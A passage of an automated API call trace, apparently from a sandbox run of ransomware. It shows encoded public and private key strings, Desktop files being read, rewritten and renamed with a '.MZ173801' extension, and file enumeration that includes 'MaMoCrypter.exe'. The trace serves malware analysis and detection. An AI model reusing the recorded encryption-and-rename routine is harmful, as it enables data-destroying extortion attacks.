wo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0176.285] GetCurrentThreadId () returned 0xab4 [0176.285] GetCurrentThreadId () returned 0xab4 [0176.285] GetCurrentThreadId () returned 0xab4 [0176.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0176.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0176.286] GetCurrentThreadId () returned 0xab4 [0176.286] GetCurrentThreadId () returned 0xab4 [0176.286] GetCurrentThreadId () returned 0xab4 [0176.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.286] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.286] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.286] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x463e [0176.286] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.286] ReadFile (in: hFile=0x320, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x463e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x463e, lpOverlapped=0x0) returned 1 [0176.287] CloseHandle (hObject=0x320) returned 1 [0176.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0176.289] WriteFile (in: hFile=0x320, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x463e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19fa24*=0x463e, lpOverlapped=0x0) returned 1 [0176.290] CloseHandle (hObject=0x320) returned 1 [0176.291] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\llyx8LTQT3Lq.png.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\llyx8ltqt3lq.png.mz173801")) returned 1 [0176.291] GetCurrentThreadId () returned 0xab4 [0176.291] GetCurrentThreadId () returned 0xab4 [0176.291] GetCurrentThreadId () returned 0xab4 [0176.291] GetCurrentThreadId () returned 0xab4 [0176.292] GetCurrentThreadId () returned 0xab4 [0176.292] GetCurrentThreadId () returned 0xab4 [0176.292] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acf900, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x27458f80, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d99700, ftLastWriteTime.dwHighDateTime=0x1d61ff3, nFileSizeHigh=0x0, nFileSizeLow=0xe6800, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MaMoCrypter.exe", cAlternateFileName="MAMOCR~1.EXE")) returned 1 [0176.292] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.292] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.292] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97dc5f0, ftCreationTime.dwHighDateTime=0x1d5e8b9, ftLastAccessTime.dwLowDateTime=0x8f8b8fb0, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x8f8b8fb0, ftLastWriteTime.dwHighDateTime=0x1d5e45c, nFileSizeHigh=0x0, nFileSizeLow=0x1105c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nDZdZhLaQYg.ots", cAlternateFileName="NDZDZH~1.OTS")) returned 1 [0176.292] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.292] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.292] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb76bc70, ftCreationTime.dwHighDateTime=0x1d5ebfe, ftLastAccessTime.dwLowDateTime=0xc8f0c550, ftLastAccessTime.dwHighDateTime=0x1d5ec0d, ftLastWriteTime.dwLowDateTime=0xc8f0c550, ftLastWriteTime.dwHighDateTime=0x1d5ec0d, nFileSizeHigh=0x0, nFileSizeLow=0xdfbe, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oc9w vNlFm_eUy1Ryd4.pdf", cAlternateFileName="OC9WVN~1.PDF")) returned 1 [0176.292] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0176.292] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0176.292] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb76bc70, ftCreationTime.dwHighDateTime=0x1d5ebfe, ftLastAccessTime.dwLowDateTime=0xc8f0c550, ftLastAccessTime.dwHighDateTime=0x1d5ec0d, ftLastWriteTime.dwLowDateTime=0xc8f0c550, ftLastWriteTime.dwHighDateTime=0x1d5ec0d, nFileSizeHigh=0x0, nFileSizeLow=0xdfbe)) returned 1 [0176.292] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\oc9w vnlfm_euy1ryd4.pdf")) returned 0x20 [0176.292] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\oc9w vNlFm_eUy1Ryd4.pdf", dwFileAttributes=0x80) returned 1 [0176.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0176.294] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7z